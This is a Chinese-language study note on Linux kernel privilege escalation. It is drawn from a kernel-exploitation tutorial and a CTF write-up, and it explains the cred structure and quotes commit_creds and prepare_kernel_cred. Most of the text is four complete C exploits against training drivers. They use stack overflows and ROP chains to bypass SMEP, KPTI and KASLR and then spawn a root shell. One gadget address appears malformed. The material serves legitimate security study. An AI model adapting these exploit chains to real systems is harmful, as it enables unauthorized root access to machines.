摘抄自https://pawnyable.cafe/linux-kernel/introduction/security.html

部分参考:深入理解LINUX内核

https://yuanfentiank789.github.io/2016/12/31/security1/

https://book.hacktricks.xyz/linux-hardening/privilege-escalation/euid-ruid-suid

task_struct部分结构

主要考虑其中的指向cred的指针

/* 
/ include / linux / sched.h
*/
struct task_struct {
...
/* Process credentials: */

/* Tracer's credentials at attach: */
const struct cred __rcu *ptracer_cred;

/* Objective and real subjective task credentials (COW): */
const struct cred __rcu *real_cred;

/* Effective (overridable) subjective task credentials (COW): */
const struct cred __rcu *cred;
...
}

访问权限相关

从 Linux 内核 6.2`` 开始,NULL 不能再传递给 prepare_kernel_cred。

init_cred仍然存在,因此您可以通过执行 commit_creds (&init_cred) 来进行LPE。

CRED

UID:真实用户ID ,表示发起进程的用户

EUID:被称为有效用户ID ,它代表系统用来确定进程权限的用户身份。

SUID:当高权限进程(通常以 root 身份运行)需要暂时放弃其权限来执行某些任务,以便稍后恢复其初始提升状态时,此保存的用户 ID至关重要。

/*
/include / linux / cred.h
*/
struct cred {
atomic_t usage;
#ifdef CONFIG_DEBUG_CREDENTIALS
atomic_t subscribers; /* number of processes subscribed */
void *put_addr;
unsigned magic;
#define CRED_MAGIC 0x43736564
#define CRED_MAGIC_DEAD 0x44656144
#endif
kuid_t uid; /* real UID of the task */
kgid_t gid; /* real GID of the task */
kuid_t suid; /* saved UID of the task */
kgid_t sgid; /* saved GID of the task */
kuid_t euid; /* effective UID of the task */
kgid_t egid; /* effective GID of the task */
kuid_t fsuid; /* UID for VFS ops */
kgid_t fsgid; /* GID for VFS ops */
unsigned securebits; /* SUID-less security management */
kernel_cap_t cap_inheritable; /* caps our children can inherit */
kernel_cap_t cap_permitted; /* caps we're permitted */
kernel_cap_t cap_effective; /* caps we can actually use */
kernel_cap_t cap_bset; /* capability bounding set */
kernel_cap_t cap_ambient; /* Ambient capability set */
#ifdef CONFIG_KEYS
unsigned char jit_keyring; /* default keyring to attach requested
* keys to */
struct key *session_keyring; /* keyring inherited over fork */
struct key *process_keyring; /* keyring private to this process */
struct key *thread_keyring; /* keyring private to this thread */
struct key *request_key_auth; /* assumed request_key authority */
#endif
#ifdef CONFIG_SECURITY
void *security; /* LSM security */
#endif
struct user_struct *user; /* real user ID subscription */
struct user_namespace *user_ns; /* user_ns the caps and keyrings are relative to. */
struct ucounts *ucounts;
struct group_info *group_info; /* supplementary groups for euid/fsgid */
/* RCU deletion */
union {
int non_rcu; /* Can we skip RCU deletion? */
struct rcu_head rcu; /* RCU deletion hook */
};
} __randomize_layout;
/*
/kernel / cred.c
*/
/*
* The initial credentials for the initial task
*/
struct cred init_cred = {
.usage = ATOMIC_INIT(4),
.uid = GLOBAL_ROOT_UID,
.gid = GLOBAL_ROOT_GID,
.suid = GLOBAL_ROOT_UID,
.sgid = GLOBAL_ROOT_GID,
.euid = GLOBAL_ROOT_UID,
.egid = GLOBAL_ROOT_GID,
.fsuid = GLOBAL_ROOT_UID,
.fsgid = GLOBAL_ROOT_GID,
.securebits = SECUREBITS_DEFAULT,
.cap_inheritable = CAP_EMPTY_SET,
.cap_permitted = CAP_FULL_SET,
.cap_effective = CAP_FULL_SET,
.cap_bset = CAP_FULL_SET,
.user = INIT_USER,
.user_ns = &init_user_ns,
.group_info = &init_groups,
.ucounts = &init_ucounts,
};

cred结构的创建

/*5.14.9*/
/*
/kernel / cred.c
*/
struct cred *prepare_kernel_cred(struct task_struct *daemon)
{
const struct cred *old;
struct cred *new;

new = kmem_cache_alloc(cred_jar, GFP_KERNEL);
if (!new)
return NULL;

kdebug("prepare_kernel_cred() alloc %p", new);

if (daemon)
old = get_task_cred(daemon);
else
old = get_cred(&init_cred);

validate_creds(old);

*new = *old;
new->non_rcu = 0;
atomic_set(&new->usage, 1);
set_cred_subscribers(new, 0);
get_uid(new->user);
get_user_ns(new->user_ns);
get_group_info(new->group_info);

#ifdef CONFIG_KEYS
new->session_keyring = NULL;
new->process_keyring = NULL;
new->thread_keyring = NULL;
new->request_key_auth = NULL;
new->jit_keyring = KEY_REQKEY_DEFL_THREAD_KEYRING;
#endif

#ifdef CONFIG_SECURITY
new->security = NULL;
#endif
new->ucounts = get_ucounts(new->ucounts);
if (!new->ucounts)
goto error;

if (security_prepare_creds(new, old, GFP_KERNEL_ACCOUNT) < 0)
goto error;

put_cred(old);
validate_creds(new);
return new;

error:
put_cred(new);
put_cred(old);
return NULL;
}

cred的更改

/*
/kernel / cred.c
*/
int commit_creds(struct cred *new)
{
struct task_struct *task = current;
const struct cred *old = task->real_cred;

kdebug("commit_creds(%p{%ld})", new,
atomic_long_read(&new->usage));

BUG_ON(task->cred != old);
BUG_ON(atomic_long_read(&new->usage) < 1);

get_cred(new); /* we will require a ref for the subj creds too */

/* dumpability changes */
if (!uid_eq(old->euid, new->euid) ||
!gid_eq(old->egid, new->egid) ||
!uid_eq(old->fsuid, new->fsuid) ||
!gid_eq(old->fsgid, new->fsgid) ||
!cred_cap_issubset(old, new)) {
if (task->mm)
set_dumpable(task->mm, suid_dumpable);
task->pdeath_signal = 0;
/*
* If a task drops privileges and becomes nondumpable,
* the dumpability change must become visible before
* the credential change; otherwise, a __ptrace_may_access()
* racing with this change may be able to attach to a task it
* shouldn't be able to attach to (as if the task had dropped
* privileges without becoming nondumpable).
* Pairs with a read barrier in __ptrace_may_access().
*/
smp_wmb();
}

/* alter the thread keyring */
if (!uid_eq(new->fsuid, old->fsuid))
key_fsuid_changed(new);
if (!gid_eq(new->fsgid, old->fsgid))
key_fsgid_changed(new);

/* do it
* RLIMIT_NPROC limits on user->processes have already been checked
* in set_user().
*/
if (new->user != old->user || new->user_ns != old->user_ns)
inc_rlimit_ucounts(new->ucounts, UCOUNT_RLIMIT_NPROC, 1);
rcu_assign_pointer(task->real_cred, new);
rcu_assign_pointer(task->cred, new);
if (new->user != old->user || new->user_ns != old->user_ns)
dec_rlimit_ucounts(old->ucounts, UCOUNT_RLIMIT_NPROC, 1);

/* send notifications */
if (!uid_eq(new->uid, old->uid) ||
!uid_eq(new->euid, old->euid) ||
!uid_eq(new->suid, old->suid) ||
!uid_eq(new->fsuid, old->fsuid))
proc_id_connector(task, PROC_EVENT_UID);

if (!gid_eq(new->gid, old->gid) ||
!gid_eq(new->egid, old->egid) ||
!gid_eq(new->sgid, old->sgid) ||
!gid_eq(new->fsgid, old->fsgid))
proc_id_connector(task, PROC_EVENT_GID);

/* release the old obj and subj refs both */
put_cred_many(old, 2);
return 0;
}

返回到用户空间

在 Kernel Exploit 中,我们创建了触发漏洞的程序(进程),因此我们可以通过在 ROP 结束后将 RSP 返回到用户空间,并将 RIP 设置为接受 shell 的函数来返回用户空间。这是一种从用户空间移动到内核空间的方法,但这是通过 CPU 指令切换特权模式来实现的。 从用户空间到内核空间的唯一方法通常是系统调用 syscall 和中断 int。 而要从内核空间返回到用户空间,通常使用 sysretq 和 iretq 指令。 由于 iretq 比 sysretq 更简单,因此内核漏洞利用通常使用 iretq。 此外,从内核返回到用户空间时,必须从内核模式 GS 段切换到用户模式 GS 段。 为此,Intel 提供了 swapgs 指令。

除了用户空间 RSP 和 RIP 之外,还必须将 CS、SS 和 RFLAGS 转换回用户空间 RSP。 RSP 可以位于任何位置,并且 RIP 可以设置为启动 shell 的函数。 其余的 registers 可以用于它们最初在 user space 中的值,所以让我们准备一个辅助函数来存储 registers 的值,如下所示。

实现1.(无保护)

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <fcntl.h>
#include <unistd.h>

unsigned long user_cs, user_ss, user_rsp, user_rflags;
unsigned long prepare_kernel_cred = 0xffffffff8106e240;
unsigned long commit_creds = 0xffffffff8106e390;

static void win() {
char *argv[] = { "/bin/sh", NULL };
char *envp[] = { NULL };
puts("[+] win!");
execve("/bin/sh", argv, envp);
}

static void save_state() {
asm(
"movq %%cs, %0\n"
"movq %%ss, %1\n"
"movq %%rsp, %2\n"
"pushfq\n"
"popq %3\n"
: "=r"(user_cs), "=r"(user_ss), "=r"(user_rsp), "=r"(user_rflags)
:
: "memory");
}

static void restore_state() {
asm volatile("swapgs ;"
"movq %0, 0x20(%%rsp)\t\n"
"movq %1, 0x18(%%rsp)\t\n"
"movq %2, 0x10(%%rsp)\t\n"
"movq %3, 0x08(%%rsp)\t\n"
"movq %4, 0x00(%%rsp)\t\n"
"iretq"
:
: "r"(user_ss),
"r"(user_rsp),
"r"(user_rflags),
"r"(user_cs), "r"(win));
}

static void escalate_privilege() {
char* (*pkc)(int) = (void*)(prepare_kernel_cred);
void (*cc)(char*) = (void*)(commit_creds);
(*cc)((*pkc)(0));
restore_state();
}

void fatal(const char *msg) {
perror(msg);
exit(1);
}

int main() {
save_state();

int fd = open("/dev/holstein", O_RDWR);
if (fd == -1) fatal("open(\"/dev/holstein\")");

char buf[0x410];
memset(buf, 'A', 0x410);
*(unsigned long*)&buf[0x408] = (unsigned long)&escalate_privilege;
write(fd, buf, 0x410);

close(fd);
return 0;
}

实现2(smep保护)

将学习如何利用kernel gadget

sh extract-vmlinux bzImage > vmlinux
ROPgadget --binary vmlinux --only "pop|ret"
ROPgadget --binary vmlinux --only "swapgs|ret"
ROPgadget --binary vmlinux --only "mov|rep|ret"
objdump -S -M intel vmlinux | grep iretq
ROPgadget --binary vmlinux |grep "swapgs"
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <fcntl.h>
#include <unistd.h>

unsigned long user_cs, user_ss, user_rsp, user_rflags;
#define prepare_kernel_cred 0xffffffff8106e240
#define commit_creds 0xffffffff8106e390
#define rop_pop_rdi 0xffffffff8127bbdc
#define rop_pop_rcx 0xffffffff8132cdd3
#define rop_mov_rdi_rax_rep_movsq 0xffffffff8160c96b
#define rop_swapgs 0xffffffff8160bf7e
#define rop_iretq 0xffffffff810202af

static void win() {
char *argv[] = { "/bin/sh", NULL };
char *envp[] = { NULL };
puts("[+] win!");
execve("/bin/sh", argv, envp);
}

static void save_state() {
asm(
"movq %%cs, %0\n"
"movq %%ss, %1\n"
"movq %%rsp, %2\n"
"pushfq\n"
"popq %3\n"
: "=r"(user_cs), "=r"(user_ss), "=r"(user_rsp), "=r"(user_rflags)
:
: "memory");
}

void fatal(const char *msg) {
perror(msg);
exit(1);
}

int main() {
save_state();

int fd = open("/dev/holstein", O_RDWR);
if (fd == -1) fatal("open(\"/dev/holstein\")");

char buf[0x410];
memset(buf, 'A', 0x410);
// *(unsigned long*)&buf[0x408] = (unsigned long)&escalate_privilege;
unsigned long *chain = (unsigned long*)&buf[0x408];
*chain++ = rop_pop_rdi;
*chain++ = 0x0;
*chain++ = prepare_kernel_cred;
*chain++ = rop_pop_rcx;
*chain++ = 0x0;
*chain++ = rop_mov_rdi_rax_rep_movsq;
*chain++ = commit_creds;
*chain++ = rop_swapgs;
*chain++ = rop_iretq;
*chain++ = (unsigned long)&win;
*chain++ = user_cs;
*chain++ = user_rflags;
*chain++ = user_rsp;
*chain++ = user_ss;
write(fd, buf, (void*)chain - (void*)buf);

close(fd);
return 0;
}

实现3(KPTI保护)

页表保护

如何检查:

cat /sys/devices/system/cpu/vulnerabilities/meltdown

利用swapgs_restore_regs_and_return_to_usermode

或利用:signal(SIGSEGV, win);函数

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <fcntl.h>
#include <unistd.h>

unsigned long user_cs, user_ss, user_rsp, user_rflags;
#define prepare_kernel_cred 0xffffffff8106e240
#define commit_creds 0xffffffff8106e390
#define rop_pop_rdi 0xffffffff8127bbdc
#define rop_pop_rcx 0xffffffff8132cdd3
#define rop_mov_rdi_rax_rep_movsq 0xffffffff8160c96b
#define rop_swapgs 0xffffffff8160bf7e
#define rop_iretq 0xffffffff810202af
#define swapgs_restore_regs_and_return_to_usermode 0xFFFFFFFF81800E26

static void win() {
char *argv[] = { "/bin/sh", NULL };
char *envp[] = { NULL };
puts("[+] win!");
execve("/bin/sh", argv, envp);
}

static void save_state() {
asm(
"movq %%cs, %0\n"
"movq %%ss, %1\n"
"movq %%rsp, %2\n"
"pushfq\n"
"popq %3\n"
: "=r"(user_cs), "=r"(user_ss), "=r"(user_rsp), "=r"(user_rflags)
:
: "memory");
}

void fatal(const char *msg) {
perror(msg);
exit(1);
}

int main() {
save_state();

int fd = open("/dev/holstein", O_RDWR);
if (fd == -1) fatal("open(\"/dev/holstein\")");

char buf[0x410];
memset(buf, 'A', 0x410);
// *(unsigned long*)&buf[0x408] = (unsigned long)&escalate_privilege;
unsigned long *chain = (unsigned long*)&buf[0x408];
*chain++ = rop_pop_rdi;
*chain++ = 0x0;
*chain++ = prepare_kernel_cred;
*chain++ = rop_pop_rcx;
*chain++ = 0x0;
*chain++ = rop_mov_rdi_rax_rep_movsq;
*chain++ = commit_creds;
*chain++ = swapgs_restore_regs_and_return_to_usermode;
*chain++ = 0;
*chain++ = 0;
*chain++ = (unsigned long*)win;;
*chain++ = user_cs;
*chain++ = user_rflags;
*chain++ = user_rsp;
*chain++ = user_ss;
write(fd, buf, (void*)chain - (void*)buf);

close(fd);
return 0;
}

实现4(KALSR保护)

以强王杯2018 强网杯 core为例子

https://eternalsakura13.com/2018/03/31/b_core/

// gcc exp.c -static -masm=intel -g -o exp
#include <sys/types.h>
#include <stdio.h>
#include <linux/userfaultfd.h>
#include <pthread.h>
#include <errno.h>
#include <unistd.h>
#include <stdlib.h>
#include <fcntl.h>
#include <signal.h>
#include <poll.h>
#include <string.h>
#include <sys/mman.h>
#include <sys/syscall.h>
#include <sys/ioctl.h>
#include <sys/sem.h>
#include <semaphore.h>
#include <poll.h>


#define READ 0x6677889B
#define OFF 0x6677889C
#define COPY 0x6677889A


void success(const char *msg) {
char *buf = calloc(0x1000, 1);
sprintf(buf, "\033[32m\033[1m[+] %s\033[0m", msg);
fprintf(stderr, "%s", buf);
free(buf);
}

void fail(const char *msg) {
char *buf = calloc(0x1000, 1);
sprintf(buf, "\033[31m\033[1m[x] %s\033[0m", msg);
fprintf(stderr, "%s", buf);
free(buf);
}

void debug(const char *msg) {
char *buf = calloc(0x1000, 1);
sprintf(buf, "\033[34m\033[1m[*] %s\033[0m", msg);
fprintf(stderr, "%s", buf);
free(buf);
}
void printvar(void handle(const char *), char *hint, size_t var) {
char *buf = calloc(0x1000, 1);
sprintf(buf, "%s: 0x%lx\n", hint, var);
handle(buf);
free(buf);
}
size_t commit_creds,prepare_kernel_cred,off,swapgs_restore_regs_and_return_to_usermode;
size_t user_cs, user_ss, user_rflags, user_sp;
void saveStatus() {
__asm__("mov user_cs, cs;"
"mov user_ss, ss;"
"mov user_sp, rsp;"
"pushf;"
"pop user_rflags;"
);
user_sp &= ~0xf;
success("Status has been saved.\n");
printvar(debug, "cs", user_cs);
printvar(debug, "ss", user_ss);
printvar(debug, "rsp", user_sp);
printvar(debug, "rflags", user_rflags);
}

void leakAddr() {
FILE *kallsyms = fopen("/tmp/kallsyms", "r");
while (!commit_creds || !prepare_kernel_cred ) {
size_t addr = 0;
char t[2] = {0}, name[128] = {0};
fscanf(kallsyms, "%lx%s%s", &addr, t, name);
if (!strcmp(name, "commit_creds")) {
commit_creds = addr;
off = commit_creds - 0xFFFFFFFF8109C8E0;
printvar(success, "leak commit_creds", addr);
printvar(debug, "offset", off);
}
if (!strcmp(name, "prepare_kernel_cred")) {
prepare_kernel_cred = addr;
off = prepare_kernel_cred - 0xFFFFFFFF8109CCE0;
printvar(success, "leak prepare_kernel_cred", addr);
printvar(debug, "offset", off);
}
}
fclose(kallsyms);
}
int fd;
size_t canary;
void leakcanary(){
char *buf = malloc(1000);
ioctl(fd, OFF, 64);
ioctl(fd, READ, buf);
canary = ((size_t*)buf)[0];
printvar(success, "leak canaryadd", canary);
}

#define rop_pop_rdi off + 0xffffffff81000b2f
#define rop_pop_rcx off + 0xffffffff81021e53
#define rop_pop_rdx off + 0xffffffff810a0f49
#define rop_iretq off + 0xffffffff81050ac2
#define rop_swapgs off + 0xffffffff81a012da
#define rop_mov_rdi_rax_rep_movsq off + 0xffffffff814b15953
#define rop_move_rdi_rax_pop_rbp_mov_rax_rdi_pop_r12_ret off + 0xffffffff813f9ede
void getRootShell() {
success("Backing from the kernelspace.\n");
if(getuid()) {
fail("Failed to get the root!\n");
exit(-1);
}
success("Successful to get the root. Execve root shell now...\n");
system("/bin/sh");
exit(0);// to exit the process normally instead of segmentation fault
}

void pwn() {
fd = open("/proc/core",O_RDWR);
leakAddr();
leakcanary();
unsigned long *chain = calloc(0x800, 1);
unsigned long *start = chain;
for(int i = 0;i!=8;i++){
chain[i] = canary;
}
chain = chain + 8;
*chain++ = canary;
*chain++ = canary;
*chain++ = rop_pop_rdi;
*chain++ = 0x0;
*chain++ = prepare_kernel_cred;
*chain++ = rop_move_rdi_rax_pop_rbp_mov_rax_rdi_pop_r12_ret;
*chain++ = 0x0;
*chain++ = 0x0;
*chain++ = commit_creds;
*chain++ = rop_swapgs;
*chain++ = 0x0;
*chain++ = rop_iretq;
*chain++ = (unsigned long*)getRootShell;
*chain++ = user_cs;
*chain++ = user_rflags;
*chain++ = user_sp;
*chain++ = user_ss;
write(fd,start,0x800);
ioctl(fd, COPY, 0xffffffffffff0000 | (0x100));//利用整数溢出漏洞

}
int main(){
saveStatus();
pwn();
}